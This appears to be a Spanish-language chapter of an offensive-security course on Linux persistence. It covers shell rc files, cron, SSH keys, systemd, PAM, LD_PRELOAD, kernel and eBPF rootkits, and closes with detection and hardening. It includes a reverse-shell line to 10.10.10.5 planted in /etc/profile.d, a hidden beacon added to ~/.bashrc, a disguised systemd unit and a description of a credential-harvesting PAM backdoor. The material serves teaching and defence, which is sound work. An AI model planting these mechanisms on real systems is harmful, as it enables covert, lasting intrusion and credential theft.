Panorama#

Un acceso conseguido es un acceso perdido en cuanto el proceso muere, la sesión se cierra o la máquina se reinicia. La persistenciapersistence— es el conjunto de técnicas con las que un atacante se asegura de recuperar la ejecución después de esos eventos sin volver a explotar la vulnerabilidad de entrada, que quizá ya fue parcheada o que era ruidosa de repetir. Es el segundo movimiento natural tras la escalada de privilegios (3.9): primero se llega a root o a un usuario útil, luego se planta el mecanismo que devuelve ese acceso mañana. Y es lo que estabiliza el canal de mando: un C2 (3.10) volátil que vive en un proceso se vuelve confiable cuando un disparador de persistencia lo relanza tras cada reinicio.

La tesis que ordena el capítulo es que toda persistencia es suscribir código propio a un disparador de ejecución que el sistema operativo ya honra. El atacante casi nunca inventa un mecanismo nuevo; se inserta en uno de los muchos puntos donde Linux ya vuelve a ejecutar algo por sí solo —al iniciar sesión, al arrancar, en un horario, ante un evento de hardware, al autenticar a un usuario—. El sistema tiene decenas de esos disparadores, y basta uno para reengancharse. Esa abundancia es la mala noticia para el defensor; la buena está al final del capítulo.

Los disparadores forman una escalera gobernada por dos ejes que se mueven juntos: el privilegio que exige plantarlos y el momento en que disparan. Cuanto más abajo y más temprano en el ciclo de vida del sistema actúa un mecanismo —del shell de un usuario, al arranque, a la autenticación, al propio kernel—, más durable es y más difícil de detectar, pero más privilegio cuesta plantarlo y más riesgo de inestabilidad acarrea. Un módulo de kernel mal escrito tumba la máquina con un kernel panic, exactamente como el exploit de kernel era el último recurso en 3.9: cuanto más profundo se opera, más se gana en sigilo y durabilidad y más se arriesga en estabilidad. Sobre esa escalera se organiza todo lo que sigue.

flowchart TD
  U["Persistencia de USUARIO\n(sin root · sobrevive como ese usuario)"]
  S["Persistencia de SISTEMA\n(root · sobrevive al reinicio · a todos)"]
  A["Subvertir la AUTENTICACIÓN\n(PAM · SSH · dispara al loguearse)"]
  L["Enganchar el USERLAND\n(LD_PRELOAD · rootkit de biblioteca)"]
  K["Bajar al KERNEL\n(LKM / eBPF · se esconde a sí mismo)"]
  U --> S --> A --> L --> K
  K -.->|"+ durable · + sigiloso\n+ privilegio · + riesgo de panic"| U
  classDef lvl fill:#1e293b,stroke:#475569,color:#e2e8f0;
  class U,S,A,L,K lvl;

En términos de MITRE ATT&CK el capítulo recorre la táctica TA0003 (Persistence) y sus técnicas en Linux: T1546.004 (Unix Shell Configuration Modification), T1098.004 (SSH Authorized Keys), T1543.002 (Systemd Service), T1053.003 y T1053.006 (Cron y Systemd Timers), T1037.004 (RC Scripts), T1546 (Event Triggered Execution), T1556.003 (Modify Authentication Process: PAM), T1574.006 (Dynamic Linker Hijacking), T1547.006 (Kernel Modules and Extensions), T1014 (Rootkit) y T1505.003 (Web Shell).

La primitiva: suscribirse a un disparador#

Antes de recorrer los mecanismos conviene fijar la primitiva común, porque explica por qué son intercambiables. Todo sistema Linux mantiene una colección de puntos de ejecución automática: rutas de archivos y entradas de configuración que algún componente lee y ejecuta cuando ocurre un evento. El shell lee ~/.bashrc al abrir una sesión interactiva; systemd arranca las unidades habilitadas al bootear; crond ejecuta las líneas del crontab en su horario; sshd consulta ~/.ssh/authorized_keys al autenticar; el enlazador dinámico carga las bibliotecas listadas en /etc/ld.so.preload antes de cualquier binario. Cada uno de esos puntos es un contrato: «cuando pase X, ejecuto lo que esté aquí». Persistir es escribir en ese contrato, sin romperlo, para que además de lo legítimo se ejecute lo propio.

De ahí se derivan las tres propiedades que distinguen un mecanismo de otro y que el defensor debe leer al revés:

  • Privilegio requerido. Un punto que pertenece a un usuario (su ~/.bashrc, su crontab, su authorized_keys) se escribe sin root y persiste con la identidad de ese usuario. Un punto de sistema (una unidad de systemd, /etc/crontab, un módulo de PAM) exige root pero persiste para toda la máquina y sobrevive al reinicio.
  • Momento y frecuencia del disparo. Al login, al arranque, en un horario, ante un evento de hardware, en cada autenticación. Cuanto antes y más a menudo dispare, antes se recupera el acceso —pero también más ruido genera.
  • Visibilidad del artefacto. El punto es un archivo o una línea de configuración en disco que sobrevive al reinicio; por definición es enumerable. El rootkit es el intento de romper esta propiedad ocultando el artefacto a las herramientas que lo listarían —y por eso es el escalón más caro y más frágil—.

Persistencia de usuario (sin root)#

El escalón más barato no necesita privilegios: basta escribir en los archivos que el propio usuario controla. Es la persistencia que sobrevive a un foothold de bajo privilegio y que conviene plantar de inmediato, antes de intentar escalar, como red de seguridad.

Los archivos de configuración del shell. Un shell de login lee, según la variante, ~/.bash_profile, ~/.bash_login o ~/.profile; un shell interactivo no-login lee ~/.bashrc; zsh usa ~/.zshrc. Añadir una línea al final de cualquiera de ellos garantiza ejecución cada vez que el usuario abre una sesión (T1546.004). El sistema ofrece variantes de sistema equivalentes —/etc/profile, los fragmentos de /etc/profile.d/*.sh, /etc/bash.bashrc— que, con root, disparan para todos los usuarios al loguearse.

# Persistencia de usuario: relanzar un beacon en cada sesión interactiva echo 'nohup /tmp/.cache/agent >/dev/null 2>&1 &' >> ~/.bashrc # Variante de sistema (requiere root): dispara para todo usuario que loguee echo 'bash -i >& /dev/tcp/10.10.10.5/443 0>&1' > /etc/profile.d/00-update.sh

El crontab de usuario. Cada usuario puede programar tareas sin root con crontab -e; la definición queda en /var/spool/cron/crontabs/<usuario> (T1053.003). Una entrada @reboot dispara al arrancar, y una línea * * * * * reintenta cada minuto —el mecanismo clásico para que un reverse shell se reabra solo—.

La clave SSH autorizada. El vector más limpio y más común es añadir la clave pública del atacante a ~/.ssh/authorized_keys (T1098.004). No lanza nada por sí solo: convierte el acceso en un login legítimo y reutilizable con la propia infraestructura de SSH, sin malware en disco que escanear, y se confunde con la administración normal. Enlaza directamente con el pivoting y tunneling (3.13), donde esa misma clave sostiene los túneles SSH persistentes que atraviesan la red interna. Variantes menos conocidas del mismo archivo elevan el sigilo o el poder: la opción command="..." delante de la clave fuerza un comando al conectar, y el script ~/.ssh/rc se ejecuta en cada login por SSH aunque no haya shell interactivo.

La persistencia por clave SSH es preferida por los operadores porque no es un artefacto de malware sino una credencial legítima: sobrevive a reinicios y a rotaciones de contraseña, viaja por el canal cifrado que el host ya permite y se pierde entre los accesos administrativos. Su detección no es de antivirus sino de inventario: comparar el conjunto de claves autorizadas contra una línea base y alertar sobre cualquiera nueva.

El systemd --user. En sistemas modernos un usuario puede definir unidades propias en ~/.config/systemd/user/ y habilitarlas sin root; con lingering activado (loginctl enable-linger), esas unidades arrancan al bootear el sistema, no solo al loguearse. Es la versión de usuario del mecanismo que domina la siguiente sección.

Persistencia de sistema (con root)#

Con root, la persistencia sube a los disparadores que dispara el sistema entero y que sobreviven al reinicio. En Linux moderno el rey es systemd.

Servicios de systemd. Un archivo .unit en /etc/systemd/system/ describe un servicio; systemctl enable lo engancha a un target de arranque y systemctl start lo lanza (T1543.002). Con Restart=always el servicio se relanza si su proceso muere, y con WantedBy=multi-user.target arranca en cada boot. Es el mecanismo más robusto y a la vez el que mejor se camufla, porque el sistema legítimo está lleno de servicios y uno más pasa inadvertido si se le da un nombre plausible.

# /etc/systemd/system/dbus-update.service   (nombre que imita algo del sistema)
[Unit]
Description=D-Bus System Update Helper
After=network.target

[Service]
Type=simple
ExecStart=/usr/lib/dbus-1.0/dbus-update
Restart=always
RestartSec=30

[Install]
WantedBy=multi-user.target

Temporizadores de systemd. Un .timer emparejado con un .service reemplaza a cron con más flexibilidad (T1053.006): OnCalendar=*-*-* *:00:00 dispara cada hora, OnBootSec= un tiempo tras el arranque, y Persistent=true recupera disparos perdidos si la máquina estuvo apagada. Los timers son más sigilosos que cron porque muchos analistas todavía revisan primero los crontabs y olvidan systemctl list-timers.

El cron de sistema. Además del crontab de usuario, root dispone del crontab de sistema /etc/crontab, del directorio /etc/cron.d/ (un archivo por tarea, cómodo para dejar caer una línea) y de los directorios por frecuencia /etc/cron.{hourly,daily,weekly,monthly}/ que ejecutan cualquier script colocado en ellos. El comando at programa una ejecución única y suele pasarse por alto en la caza.

Scripts de arranque heredados. Sobreviven por compatibilidad y siguen siendo válidos: /etc/rc.local —cuando existe y es ejecutable— corre al final del arranque (T1037.004), y los scripts SysV en /etc/init.d/ con sus enlaces en /etc/rc?.d/ hacen lo propio en sistemas que aún los honran a través de la capa de compatibilidad de systemd.

Ejecución por evento. Más allá del horario, Linux dispara ante eventos, y cada uno es un punto de persistencia (T1546). Una regla de udev en /etc/udev/rules.d/ con RUN+="/ruta/al/payload" ejecuta al conectarse un dispositivo o al arrancar, cuando el subsistema enumera el hardware. Los scripts de /etc/update-motd.d/ construyen el message of the day y corren como root en cada login por SSH. Los ganchos de gestores de paquetes —los DPkg::Post-Invoke de APT, los hooks de pacman— ejecutan en cada instalación o actualización, un disparador que además garantiza contexto de root. Y los hooks de Git (.git/hooks/post-checkout, pre-commit) persisten en repositorios de desarrollo o de despliegue.

La abundancia es el punto. Un inventario superficial que solo mire crontab -l y los servicios «obvios» deja sin cubrir timers, /etc/cron.d, rc.local, reglas de udev, profile.d, update-motd.d y los hooks de paquetes y de Git. El operador elige el rincón que el defensor no baseliniza; el defensor tiene que enumerarlos todos —lo que, como se ve al cierre, es factible precisamente porque son finitos y están en disco—.

Subvertir la autenticación: PAM y SSH#

Un escalón más profundo no espera al arranque ni al horario: se inserta en el camino que Linux recorre cada vez que autentica a un usuario, de modo que la persistencia dispara —y a menudo cosecha credenciales— en cada login legítimo.

PAM —Pluggable Authentication Modules es el marco a través del cual login, sshd, sudo y su deciden si una autenticación procede: una pila de módulos (.so) configurada en /etc/pam.d/. Subvertirla da persistencia y captura a la vez (T1556.003), y admite tres grados:

  • Módulo malicioso. Compilar un .so propio que siempre devuelve PAM_SUCCESS y añadirlo a la pila de /etc/pam.d/sshd crea una contraseña maestra que autentica a cualquier usuario sin tocar su hash real.
  • pam_exec como disparador. Una línea auth optional pam_exec.so /ruta/al/payload en la pila ejecuta un binario arbitrario en cada autenticación —persistencia sin recompilar nada—.
  • Parche de pam_unix. Modificar el módulo estándar pam_unix.so para que registre en claro la contraseña que cada usuario teclea (por ejemplo, escribiéndola a un archivo oculto) convierte el sistema de autenticación en un keylogger de credenciales que alimenta el movimiento lateral (4.8).

SSH como disparador de autenticación. El propio sshd ofrece puntos de persistencia más allá de la clave autorizada: la directiva ForceCommand en /etc/ssh/sshd_config ejecuta un comando en cada conexión, y un binario sshd troyanizado —o una biblioteca que este cargue— puede registrar toda contraseña presentada. Son mecanismos que se confunden con la administración porque viven dentro del servicio que administra el host.

Enganchar el userland: LD_PRELOAD y el enlazador dinámico#

Por debajo de la autenticación está la carga de los programas mismos. Casi todo binario de Linux está enlazado dinámicamente contra libc y otras bibliotecas, y el enlazador dinámicold.so— resuelve esos símbolos al ejecutar. Ese proceso de resolución es en sí un punto de inserción (T1574.006).

La variable de entorno LD_PRELOAD fuerza a cargar una biblioteca antes que todas las demás, de modo que sus funciones prevalecen sobre las de libc: si la biblioteca precargada define open, readdir o pam_authenticate, esas versiones son las que se ejecutan. LD_PRELOAD es por-proceso y depende del entorno, así que su versión persistente es el archivo /etc/ld.so.preload, que aplica la precarga a todo binario dinámico del sistema, de forma global y sin depender de ninguna variable.

Con ese enganche se construye un rootkit de espacio de usuariouserland rootkit—: la biblioteca precargada intercepta las funciones que las herramientas de administración usan para ver el sistema y les miente. Al envolver readdir/readdir64 oculta archivos y directorios (los propios del malware); al envolver las funciones de lectura de /proc esconde procesos de ps y top; al filtrar la lectura de /proc/net/tcp desaparece de netstat y ss; y al envolver pam_authenticate o crypt planta una puerta trasera de autenticación. El resultado es un host que parece limpio a cualquier inspección hecha con sus propios binarios. La familia libprocesshider y numerosos rootkits públicos operan exactamente así.

El rootkit de userland tiene un límite estructural que el defensor explota: solo miente a los procesos que pasan por el enlazador dinámico que él engancha. Un binario enlazado estáticamente, o una herramienta que lee /proc con syscalls directas sin pasar por la libc envuelta, ve la verdad. Por eso los kits de caza traen utilidades estáticas, y por eso el rootkit «serio» baja un escalón más —al kernel—, donde ya no puede ser esquivado desde el espacio de usuario.

Bajar al kernel: rootkits de LKM y de eBPF#

El escalón más profundo opera dentro del kernel, donde la mentira es total porque no hay una capa inferior desde la cual verificarlo con los propios medios del host.

Módulos de kernel cargables —Loadable Kernel Modules, LKM—. Con root (y salvo Secure Boot con firma de módulos), insmod carga código en el anillo 0 (T1547.006, T1014). Un rootkit LKM como Diamorphine —de referencia pública y didáctica— engancha la tabla de llamadas al sistema (syscall table hooking) o usa ftrace para interceptar getdents/getdents64 (oculta archivos y procesos según un prefijo mágico), kill (un número de señal especial concede root a un proceso o alterna la visibilidad), y tcp4_seq_show (oculta puertos). Su rasgo definitorio es que se oculta a sí mismo: se desengancha de la lista de módulos, de modo que lsmod no lo muestra. Un rootkit de kernel no miente a un proceso; miente al kernel entero, y por tanto a todo proceso que le pregunte.

Rootkits de eBPF. La generación moderna evita cargar un módulo —que deja rastro y choca con la firma de módulos— y abusa de eBPF, el subsistema que permite adjuntar programas verificados a puntos de enganche del kernel (originalmente para observabilidad y redes). Con la capacidad CAP_BPF/CAP_SYS_ADMIN, un programa eBPF adjunto a tracepoints, kprobes o XDP intercepta syscalls, reescribe datos en tránsito y oculta actividad sin insertar un .ko. Proyectos de investigación como TripleCross y ebpfkit demuestran puertas traseras, ocultación y exfiltración construidas enteramente sobre eBPF; es la frontera actual de la persistencia sigilosa en Linux, y precisamente el mismo subsistema en que se apoya la detección moderna del lado blue, según se ve al cierre.

La regla de 3.9 vuelve invertida en el tiempo: si allí el exploit de kernel era el último recurso por ruidoso e inestable, aquí el rootkit de kernel es el mecanismo más durable y el más arriesgado. Un enganche mal hecho sobre una versión de kernel distinta a la prevista provoca un kernel panic que tumba el host y grita la intrusión. Máximo sigilo cuando funciona; máxima señal cuando falla.

Puentes: persistencia web y en contenedores#

Dos superficies merecen mención porque la persistencia en ellas sigue la misma primitiva con disparadores propios.

La webshell persistente (T1505.003) es un archivo de código —un .php, un .jsp— dejado en el directorio servido por la aplicación, cuyo disparador es una petición HTTP del atacante. Nace de la explotación web —la subida de archivos y la RCE de 3.5— y persiste mientras el archivo siga en su sitio; enlaza con el C2 porque una webshell suele ser la puerta que relanza el beacon.

En contenedores y Kubernetes, el modelo cambia: un contenedor es efímero por diseño, así que persistir «en» él no sirve —el orquestador lo reemplaza y el cambio se pierde—. La persistencia útil apunta al host o al plano de control: un pod privilegiado o con un hostPath que monte el sistema de archivos del nodo permite escribir una unidad de systemd o una clave SSH en el host real —los mismos mecanismos de este capítulo, una capa más abajo—; y un manifiesto de pod estático dejado en /etc/kubernetes/manifests/ hace que el kubelet relance un contenedor malicioso en cada arranque del nodo. El desarrollo completo del escape de contenedor y su detección en tiempo de ejecución vive en contenedores y Kubernetes (3.16).

Defensa y detección#

Aquí se cobra la buena noticia que prometía el panorama. La persistencia comparte una debilidad estructural: para persistir hay que dejar un artefacto que sobreviva al reinicio —un archivo, una línea de configuración, una unidad registrada, un módulo cargado—. Ese artefacto es, por definición, enumerable, y los puntos de disparo, aunque abundantes, son finitos y conocidos. La detección no persigue un comportamiento fugaz; audita un conjunto acotado de lugares contra una línea base de lo que debería ejecutarse por sí solo.

  • Baselining del conjunto de auto-ejecución. El defensor enumera exhaustivamente los disparadores y los compara contra un estado esperado: systemctl list-unit-files --state=enabled y systemctl list-timers; los crontabs de todos los usuarios más /etc/crontab, /etc/cron.d/ y /etc/cron.*/; los authorized_keys de cada cuenta; los fragmentos de profile.d, update-motd.d, rc.local, las reglas de udev y los hooks de APT/Git. Cualquier entrada nueva respecto de la línea base es la señal. Herramientas de auditoría como chkrootkit, rkhunter o el barrido de configuración de Lynis automatizan buena parte de esta enumeración.
  • Monitoreo de integridad de archivos —File Integrity Monitoring, FIM—. Vigilar por cambios los directorios y archivos de disparo (/etc/systemd/system/, /etc/cron*, /etc/pam.d/, /etc/ld.so.preload, ~/.ssh/authorized_keys, /etc/rc.local) con AIDE o el propio Advanced Intrusion Detection del EDR convierte cada plantación en una alerta de modificación. La aparición o edición de /etc/ld.so.preload es, de hecho, un indicador de alta fidelidad de rootkit de userland, porque el archivo casi nunca existe en un sistema legítimo.
  • Auditoría de la escritura y de la carga. auditd con reglas de vigilancia (-w) sobre esas mismas rutas registra quién y qué proceso las tocó; y la regla sobre init_module/finit_module captura toda carga de módulo de kernel —el insmod del rootkit LKM— antes de que este pueda ocultarse. La telemetría de ejecución (execve, relación padre-hijo anómala: un cron o un sshd que engendra un bash con socket saliente) ata el disparo al payload.
  • El rootkit invierte la regla: verificar desde fuera. Contra el LKM o el eBPF que se ocultan a sí mismos, las herramientas del propio host no son confiables —el kernel comprometido les miente—. La detección robusta viene de un punto de observación de confianza: análisis forense de la memoria del kernel (Volatility comparando la tabla de syscalls contra sus direcciones esperadas, listando módulos ocultos), análisis del disco montado desde un sistema limpio, y —paradójicamente— eBPF defensivo: Falco y Tracee observan las syscalls desde dentro del kernel y detectan las anomalías de comportamiento (una escritura en /etc/ld.so.preload, un execve desde un contenedor que no debería lanzar procesos, un módulo cargándose) antes de que el rootkit tape su rastro en el espacio de usuario. Es el mismo subsistema que arma al atacante, usado por el defensor con la ventaja de operar por debajo del engaño.
  • Postura estructural. Reducir la superficie de disparadores: Secure Boot con firma de módulos y kernel.modules_disabled=1 cierran la carga de LKM tras el arranque; montar particiones con noexec,nosuid donde aplique; endurecer sshd (deshabilitar ForceCommand no previstos, revisar authorized_keys con AuthorizedKeysCommand centralizado); immutable infrastructure —hosts reconstruidos desde imagen en vez de parcheados en vivo— que borra cualquier persistencia en cada despliegue; y el principio de que la reinstalación desde medio limpio es la única erradicación garantizada frente a un rootkit de kernel.

Toda esta telemetría —la unidad nueva, la clave SSH añadida, la escritura en /etc/ld.so.preload, la carga de un módulo, el sshd que engendra un shell— se correlaciona en el SIEM como una sola historia de post-explotación, no como eventos sueltos; la caza de persistencia y el análisis forense del lado blue se desarrollan en la detección de persistencia en Linux (P5), y la correlación con la evasión —porque el rootkit que oculta el artefacto es la misma familia de técnicas que la evasión de AV/EDR (3.11) llevada a la persistencia— cierra el arco ofensivo. La correlación general de eventos de host se apoya en el mismo motor descrito en 4.9 · Defensa de AD.

flowchart TD
  P["Persistencia Linux\n(un artefacto en disco que sobrevive al reinicio)"]
  P --> B["Baseline de auto-ejecución\n(systemctl · crontab · authorized_keys · profile.d)"]
  P --> F["FIM / auditd\n(escritura en /etc/systemd · /etc/pam.d · ld.so.preload)"]
  P --> M["Carga de módulo\n(auditd init_module · lsmod vs esperado)"]
  P --> R["Rootkit: verificar DESDE FUERA\n(Volatility · Falco/Tracee eBPF · disco offline)"]
  B & F & M & R --> X["Correlación SIEM\n= una historia de post-explotación"]
  X --> H["→ detección de persistencia (P5)\n→ Secure Boot · modules_disabled · immutable infra"]

Referencias#

  • red-infra/sans660-exploiting-linux/cap-01Linkers and Loaders (ELF, PLT/GOT, lazy linking): el mecanismo del enlazador dinámico y la resolución de símbolos que sustenta el enganche por LD_PRELOAD y /etc/ld.so.preload.
  • red-infra/hacking-kubernetes/cap-01Threat model + ataques a nivel pod: el hostPath y el pod privilegiado como vía de persistencia desde el contenedor hacia el host, y el manifiesto de pod estático.
  • red-infra/hacking-kubernetes/cap-06Intrusion Detection: Falco/Tracee sobre eBPF y los audit logs como punto de observación de confianza para detectar persistencia y rootkits en tiempo de ejecución.
  • MITRE ATT&CK — TA0003 Persistence, con T1543.002 Systemd Service, T1098.004 SSH Authorized Keys, T1556.003 PAM, T1574.006 Dynamic Linker Hijacking y T1014 Rootkit.
  • Diamorphine como rootkit LKM de referencia didáctica, y TripleCross para el estado del arte de los rootkits de eBPF; del lado defensivo, los proyectos Falco y Tracee.